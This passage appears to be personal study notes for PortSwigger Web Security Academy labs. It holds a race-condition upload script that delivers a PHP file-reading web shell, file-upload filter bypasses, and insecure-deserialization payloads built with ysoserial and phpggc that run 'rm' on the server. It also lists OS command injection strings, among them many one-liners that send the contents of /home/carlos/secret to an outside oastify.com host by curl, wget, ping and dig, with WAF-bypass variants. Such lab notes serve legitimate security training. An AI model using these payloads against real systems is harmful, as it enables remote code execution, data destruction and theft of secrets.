Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

------geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>

------geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Disposition: form-data; name="user"

wiener
------geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Disposition: form-data; name="csrf"

MDtbbzm4AEEOAzmC2H4irsShxhw2Dr8D
------geckoformboundary98c9b3da851ef56a55d5e1fea06146ca--
"'''

    request2 = '''GET /files/avatars/exploit.php HTTP/2
Host: 0a9f001a0402968980aa71ff005800a2.web-security-academy.net
Cookie: session=BDQwc3X5j3KtZnYGl2EfeMS343RSfxUY
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Length: 0
Origin: https://0a9f001a0402968980aa71ff005800a2.web-security-academy.net
Referer: https://0a9f001a0402968980aa71ff005800a2.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

Bypass

Bypass

Change the Content-Type

Look at changing the content type to bypass simple restrictions.

Content-Type: image/jpeg

Upload a .htaccess file

If possible, upload a file that will allow the web server to execute files of a specified extension:

AddType application/x-httpd-php .djang0

Bypass the restriction

Try to upload a different type of file extension to trick the filter:

exploit.php.jpg
exploit.php.
exploit%2Ephp
exploit.asp;.jpg
exploit.asp%00.jpg
exploit.p.phphp

Hide in the metadata

If a web server only allows images but allows PHP files, you may be able to put code in the metadata of a web app:

exiftool -Comment="<?php echo 'START ' . PAYLOAD . ' END'; ?>" jack.jpg -o jacksploit.php

Insecure Deserialization

Location

Location

Cookies

Look for base64 encoded session cookies:

session=INJECT HERE

Exploit

Exploit

1. Modifying serialized objects

Super simple lab; change the 0 to a 1 in the session cookie:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

2. Modifying serialized data types

In PHP, there is a bypass where setting a string to 0 evaluates as true. This can be used to bypass a session token.

Likewise, on PHP 7.x and earlier, the comparison 0 == "Example string" evaluates to true, because PHP treats the entire string as the integer 0.

In this lab, you can exploit this to bypass the session token and promote yourself to admin:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"zf01go7nc0aad6fm14a9rtnnm24z94dt";}

to

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

3. Using application functionality to exploit insecure deserialization

This lab uses an insecure feature that deletes your profile picture from your account. In the serialized data, there is a pointer to the avatar location. This can be changed to any specified location, and it will be deleted:

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"lgzv7wl4y0pug2nk0yohnl9r8gs87h1d";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

4. Arbitrary object injection in PHP

In this lab, you can read the PHP in the /CustomTemplate.php~ file, which is disclosed through the code comments. The following code is present:

function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
  • This can be abused to delete a file.

You can set your serialized data to:

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
  • This will delete the file.

5. Exploiting Java deserialization with Apache Commons

In this lab, you can exploit a common vulnerability in Apache using the Apache Commons 4 exploit. I will use ysoserial and the Deserialization Scanner for this lab.

  1. Authenticate using your credentials.
  2. Run an active scan on your page; this will highlight that the session cookie is vulnerable to Apache Commons 4 DNS.
  3. Start up ysoserial.
  4. Use the following command to base64 encode your payload:
java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
  • URL encode this output and send it off to delete the file.

6. Exploiting PHP deserialization with a pre-built gadget chain

This lab is exceptionally difficult. However, it is logical, and shows how you might exploit something like this in the real world.

  1. Decode the session cookie:
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJmdzhwc3l6amdtOWJkNnExcDlnemdoYXVxMDY1MWoxNyI7fQ==","sig_hmac_sha1":"22176d552df2f6789579c6f204dc061a90460db9"}
  • The session cookie can be decoded to show a serialized object in the token (base64 decoded).
  • The object is also hashed with sha1.
  1. If you change the token, the page throws an error that reveals:

\1. The version of Symfony Version: 4.3.6

  1. You can also find the <a href=/cgi-bin/phpinfo.php>Debug</a> link on the account page.
  2. You need to use the tool: phpggc
  3. Use the command ./phpggc -l | grep Symfony to match the version you discovered.
  4. Execute the following command:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
  1. This will give you a base64 encoded payload.
  2. Go to the /phpinfo.php page discovered earlier and find the secret key for the sha1 algorithm.
  3. Go to the website: https://www.freeformatter.com/hmac-generator.html#before-output to generate a signature for your payload.
  4. When you have the payload and the signature, edit the session cookie to look like:
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"c4683ae5e8e647a5fdf5d1f5cf4aa81108c025b0"}
  1. Send it off and complete the lab.

Tools

Tools

Ysoserial

ysoserial is a Java tool for generating payloads that exploit Java deserialization vulnerabilities. It targets common serialization libraries and frameworks. It can be run with the following command:

java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
     --add-opens=java.base/java.net=ALL-UNNAMED \
     --add-opens=java.base/java.util=ALL-UNNAMED \
     -jar ysoserial-all.jar <code>{`[payload] '[command]'`}</code> | base64

Not all gadget chains enable code execution. The following gadget chains help you identify insecure deserialization:

  • The URLDNS chain triggers a DNS lookup for a supplied URL. Most importantly, it does not rely on the target application using a specific vulnerable library and works in any known Java version.
  • JRMPClient is another universal chain that you can use for initial detection. It causes the server to try establishing a TCP connection to the supplied IP address. Note that you need to provide a raw IP address rather than a hostname.

PHP Generic Gadget Chains (PHPGGC)

This is like ysoserial, but for PHP vulnerabilities. The usage is very similar. It can be downloaded with:

git clone https://github.com/ambionics/phpggc.git
cd phpggc
chmod +x phpggc
./phpggc

And works in the following way:

./phpggc [-h|-l|-i|...] <GadgetChain> [arguments]

For example:

<code>{`./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64`}</code>

Deserialization Scanner

This is a built-in Burp extension that can help you identify serialized objects. It can be downloaded through the BApp Store and will flag any serialized data and alert you to exploits if it finds them.

OS Command Injection

Location

Location

Locate OS Command Injection

Use the following command separation characters to _identify_ operating system command injection vulnerabilities.

&&
 &
 ||
 |
 ;
 `
 '
 "
 0x0a
 \n

Stock Check

Look out for the stock check functionality:

productId=1&storeId=1|whoami

Submit Feedback

The blind injection labs are located on the submit feedback page!

csrf=IMJxfJDOUFIzrOCDmxHwssGEzoPK5VYN&name=test&email=test%40test.com||curl+"http://$(whoami).n3r2dwsw170pgwsx9z72fbcrvi19p8dx.oastify.com"||&subject=test&message=test

Exploit

Exploit

Useful Commands

Purpose of command 	Linux 	Windows
Name of current user 	whoami 	whoami
Operating system 	uname -a 	ver
Network configuration 	ifconfig 	ipconfig /all
Network connections 	netstat -an 	netstat -an
Running processes 	ps -ef 	tasklist

Exfiltration

The target application’s submit feedback function requires an email value. _Identify_ blind OS command injection by appending the ||curl OASTIFY.COM|| bash command, then observe a request made to Collaborator.

email=carlos@exam.net||curl+<code>{`whoami`}</code>.OASTIFY.COM||

The below payload uses DNS exfiltration and the Burp Collaborator DNS service.

||$(curl $(cat /home/carlos/secret).OASTIFY.COM)||
||nslookup+$(cat+/home/carlos/secret).OASTIFY.COM%26"
/usr/bin/wget%20--post-file%20/home/carlos/secret%20https://OASTIFY.COM/

Burp Labs

1. OS command injection, simple case

Super simple lab, append whoami to the back of the request:

productId=1&storeId=1|whoami

Blind OS Command

2. Blind OS command injection with time delays

In this lab, you can append a blind time delay to make the server wait for 10 seconds. It needs to be URL encoded so as not to break the syntax.

csrf=5ZUEc6hZD9DnCOqyFtlrW5veHFFsUTmR&name=test&email=test%40test.com||ping+-c+10+127.0.0.1||&subject=test&message=test

3. Blind OS command injection with output redirection

Super simple lab, you can call OS commands again through the submit feedback page. You can store output in the image section of the web app:

csrf=gsW1UwJ9WnD67S5JvETXCjDyypf0DRZZ&name=tets&email=tets%40tets.com||whoami+>+/var/www/images/hello.txt||&subject=tets&message=tets

4. Blind OS command injection with out-of-band interaction

Another super easy lab, do an nslookup to your collaborator link:

csrf=WpxDwMgOt7Iqu78rK9moSIIQTkre8OPk&name=t5gtr&email=trgtr%40rtger.com||nslookup+r806i0x06b5tl0x1e3c6kfhv0m6duei3.oastify.com||&subject=trgtr&message=trgtr

5. Blind OS command injection with out-of-band data exfiltration

Super easy lab, exfiltrate whoami using a sub domain:

csrf=IMJxfJDOUFIzrOCDmxHwssGEzoPK5VYN&name=test&email=test%40test.com||curl+"http://$(whoami).n3r2dwsw170pgwsx9z72fbcrvi19p8dx.oastify.com"||&subject=test&message=test

Exfiltration

Exfiltration

Some payloads for exfiltrating /home/carlos/secret.

DNS Exfiltration

||host $(cat /home/carlos/secret).oastify.com||
||ping -c 1 $(cat /home/carlos/secret).oastify.com||
||dig @OASTIFY.COM $(cat /home/carlos/secret)||

HTTP(S) Exfiltration

||curl -X POST -d @/home/carlos/secret https://oastify.com/post||
||curl https://oastify.com/$(cat /home/carlos/secret)||
||wget --header="X-Secret: $(cat /home/carlos/secret)" https://oastify.com/||
||curl https://oastify.com/ -H "X-Token: $(cat /home/carlos/secret)"||

ICMP-Based (if outbound ICMP is not filtered)

||ping -c 1 $(cat /home/carlos/secret).oastify.com||

Base64 Encoded over HTTP

||curl https://oastify.com/$(base64 /home/carlos/secret)||
||wget https://oastify.com/$(base64 /home/carlos/secret)||

URL-Encoding Variants (for WAF bypass)

%60curl%20https://oastify.com/$(cat%20/home/carlos/secret)%60
%60ping%20-c%201%20$(cat%20/home/carlos/secret).oastify.com%60

Git

Again, this is a very good resource for these labs: Github